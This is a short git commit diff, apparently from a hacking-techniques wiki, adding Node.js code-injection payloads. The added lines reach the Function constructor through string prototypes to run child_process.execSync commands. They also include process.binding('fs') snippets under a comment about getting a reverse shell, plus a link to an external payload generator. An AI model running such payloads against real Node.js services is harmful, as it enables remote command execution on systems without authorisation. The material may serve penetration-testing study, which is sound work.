GitBook: [#3225] No subject

This commit is contained in:
CPol 2022-05-29 23:24:32 +00:00 committed by gitbook-bot
parent dac9bd6d16
commit 17e40afefd
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF

View file

@ -194,6 +194,19 @@ or
or
// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or
// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```